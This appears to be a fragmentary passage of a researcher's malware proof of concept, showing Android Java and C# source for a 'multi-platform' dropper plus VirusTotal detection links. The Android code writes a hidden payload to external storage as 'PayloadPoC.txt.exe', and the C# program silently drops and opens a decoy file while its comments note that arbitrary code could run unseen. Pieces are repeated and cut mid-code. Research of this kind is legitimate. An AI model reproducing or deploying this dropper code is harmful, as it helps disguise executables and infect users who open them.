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0x00 0xFF

                try { 

                    in.skip(9058); 

                } catch (IOException e) { 
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btnWriteSDFile

payloadpoc

raw payloadpoc

import android.annotation.TargetApi; 

import android.os.Build; 

import android.os.Environment; 

import android.support.v7.app.AppCompatActivity; 

import android.os.Bundle; 

import android.view.View; 

import android.widget.Button; 

import android.widget.Toast; 

import java.io.File; 

import java.io.FileNotFoundException; 

import java.io.FileOutputStream; 

import java.io.IOException; 

import java.io.InputStream; 

 

public class MainActivity extends AppCompatActivity { 

 

    /** 

     * Written by Max 'Libra' Kersten 

     */ 

    @Override 

    protected void onCreate(Bundle savedInstanceState) { 

        super.onCreate(savedInstanceState); 

        setContentView(R.layout.activity_main); 

 

        //Sets the title of the screen 

        setTitle("Libra's multi-platform malware PoC"); 

 

        //References the button from the XML file to the Java code 

        Button btnWriteSDFile = (Button) 

this.findViewById(R.id.btnWriteSDFile); 

 

        //Make sure the permission is requested if required by a 

higher level Android API level 

        if (shouldAskPermissions()) { 

            askPermissions(); 

        } 

 

        /** 

         * Source: 

https://stackoverflow.com/questions/45546485/android-saving-a-file-

to-the-sd-card 

         */ 

        btnWriteSDFile.setOnClickListener(new View.OnClickListener() 
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        { 

            public void onClick(View v) 

            { 

                InputStream in = 

getResources().openRawResource(R.raw.payloadpoc); 

                String path = 

Environment.getExternalStorageDirectory() + File.separator + 

"PayloadPoC.txt.exe"; 

                FileOutputStream out = null; 

                try { 

                    out = new FileOutputStream(path); 

                } catch (FileNotFoundException e) { 

                    e.printStackTrace(); 

                } 

                byte[] buff = new byte[1024]; 

                int read = 0; 

                try { 

                    while ((read = in.read(buff)) > 0) { 

                        out.write(buff, 0, read); 

                    } 

                } catch (IOException e) { 

                    e.printStackTrace(); 

                } finally { 

                    try { 

                        in.close(); 

                        out.close(); 

                    } catch (IOException e) { 

                        e.printStackTrace(); 

                    } 

                } 

                Toast.makeText(v.getContext(),"'"+ 

Environment.getExternalStorageDirectory() + File.separator + 

"PayloadPoC.txt.exe' deployed", Toast.LENGTH_SHORT).show(); 

            } 

        }); 

    } 

 

    /** 

     * Source: 

https://stackoverflow.com/questions/8854359/exception-open-failed-

eacces-permission-denied-on-android 

     * @return true should ask for permissions, false should not 

     */ 

    private boolean shouldAskPermissions() { 

        return (Build.VERSION.SDK_INT > 

Build.VERSION_CODES.LOLLIPOP_MR1); 

    } 

 

    /** 
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     * Source: 

https://stackoverflow.com/questions/8854359/exception-open-failed-

eacces-permission-denied-on-android 

     */ 

    @TargetApi(23) 

    protected void askPermissions() { 

        String[] permissions = { 

                "android.permission.READ_EXTERNAL_STORAGE", 

                "android.permission.WRITE_EXTERNAL_STORAGE" 

        }; 

        int requestCode = 200; 

        requestPermissions(permissions, requestCode); 

    } 

} 
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using System; 

using System.Diagnostics; 

using System.IO; 

using PayloadPoC.Properties; 

 

//Written by Max ‘Libra’ Kersten 

namespace PayloadPoC 

{ 

    class Program 

    { 

        static void Main(string[] args) 

        { 

            //In the settings, the Output-type is set to 'Windows 

Application' instead of 'Console Application' to prevent the black 

console flashing 

            //To avoid possible IO errors, the code is put within a 

try-catch statement 

            try 

            { 

                //Write the text file from the resources to the 

temporary folder of Windows 

                string file = Path.GetTempFileName() + ".txt"; 

                File.WriteAllText(file, Resources.Payload); 

                //Start the file that is just written to the disk 

                Process.Start(file); 

            } 

            catch (Exception) 

            { 

                //Ignore any exception, because this is malware, we 

don't handle the exception other than just continuing 

            } 

 

            //Note that one can execute any piece of C# code here as 

well. For the PoC, the file is just displayed with information about 

the given. There is no visual indication the program is running 

            //As long as the decoy that is executed above, is doing 

what is intended 

        } 

    } 

} 
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import android.os.Bundle; 
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import android.widget.Button; 

import android.widget.Toast; 
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import java.io.FileNotFoundException; 

import java.io.FileOutputStream; 

import java.io.IOException; 

import java.io.InputStream; 

 

public class MainActivity extends AppCompatActivity { 

 

    /** 

     * Written by Max 'Libra' Kersten 

     */ 

    @Override 

    protected void onCreate(Bundle savedInstanceState) { 

        super.onCreate(savedInstanceState); 

        setContentView(R.layout.activity_main); 

 

        //Sets the title of the screen 

        setTitle("Libra's multi-platform malware PoC"); 

 

        //References the button from the XML file to the Java code 

        Button btnWriteSDFile = (Button) 

this.findViewById(R.id.btnWriteSDFile); 

 

        //Make sure the permission is requested if required by a 

higher level Android API level 

        if (shouldAskPermissions()) { 

            askPermissions(); 

        } 

 

        /** 

         * Source: 

https://stackoverflow.com/questions/45546485/android-saving-a-file-

to-the-sd-card 

         */ 

        btnWriteSDFile.setOnClickListener(new View.OnClickListener() 

        { 

            public void onClick(View v) 

            { 

                InputStream in = 

getResources().openRawResource(R.raw.payloadpoc); 

                try { 

                    in.skip(9058); 
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                } catch (IOException e) { 

 

                } 

                String path = 

Environment.getExternalStorageDirectory() + File.separator + 

"PayloadPoC.txt.exe"; 

                FileOutputStream out = null; 

                try { 

                    out = new FileOutputStream(path); 

                } catch (FileNotFoundException e) { 

                    e.printStackTrace(); 

                } 

                byte[] buff = new byte[1024]; 

                int read = 0; 

                try { 

                    while ((read = in.read(buff)) > 0) { 

                        out.write(buff, 0, read); 

                    } 

                } catch (IOException e) { 

                    e.printStackTrace(); 

                } finally { 

                    try { 

                        in.close(); 

                        out.close(); 

                    } catch (IOException e) { 

                        e.printStackTrace(); 

                    } 

                } 

                Toast.makeText(v.getContext(),"'"+ 

Environment.getExternalStorageDirectory() + File.separator + 

"PayloadPoC.txt.exe' deployed", Toast.LENGTH_SHORT).show(); 

            } 

        }); 

    } 

 

    /** 

     * Source: 

https://stackoverflow.com/questions/8854359/exception-open-failed-

eacces-permission-denied-on-android 

     * @return true should ask for permissions, false should not 

     */ 

    private boolean shouldAskPermissions() { 

        return (Build.VERSION.SDK_INT > 

Build.VERSION_CODES.LOLLIPOP_MR1); 

    } 

 

    /** 

     * Source: 

https://stackoverflow.com/questions/8854359/exception-open-failed-

eacces-permission-denied-on-android 

     */ 
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    @TargetApi(23) 

    protected void askPermissions() { 

        String[] permissions = { 

                "android.permission.READ_EXTERNAL_STORAGE", 

                "android.permission.WRITE_EXTERNAL_STORAGE" 

        }; 

        int requestCode = 200; 

        requestPermissions(permissions, requestCode); 

    } 

} 
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https://www.virustotal.com/#/file/d8a9879a99ac7b12e63e6bcae7f965fbf1b63d892a8649ab1d6b08ce711f7127/detection
https://www.virustotal.com/#/file/d8a9879a99ac7b12e63e6bcae7f965fbf1b63d892a8649ab1d6b08ce711f7127/detection
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https://www.virustotal.com/#/file/704f3e7e6f8be5be1e35ad49b7a879a7bb62d3bce670890e5f93c0269cfe2477/detection
https://www.virustotal.com/#/file/dff6dc6b78f8980d20bc12f5c37db31cf9013cb1549b1176151bf9fc688f1218/detection
https://www.virustotal.com/#/file/dff6dc6b78f8980d20bc12f5c37db31cf9013cb1549b1176151bf9fc688f1218/detection
https://www.virustotal.com/#/file/4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c/detection
https://www.virustotal.com/#/file/4c1dc737915d76b7ce579abddaba74ead6fdb5b519a1ea45308b8c49b950655c/detection
https://www.virustotal.com/#/file/7ec57b93bf1f754f2f7bbb1e8ca4f69bb72c0ebe2451ffb29d979ff331a3cb4e/detection
https://www.virustotal.com/#/file/7ec57b93bf1f754f2f7bbb1e8ca4f69bb72c0ebe2451ffb29d979ff331a3cb4e/detection
https://www.virustotal.com/#/file/4906b0269dae96b01652ad901472a124ef800b28ce8c2a6466b0b582057df69b/detection
https://www.virustotal.com/#/file/4906b0269dae96b01652ad901472a124ef800b28ce8c2a6466b0b582057df69b/detection

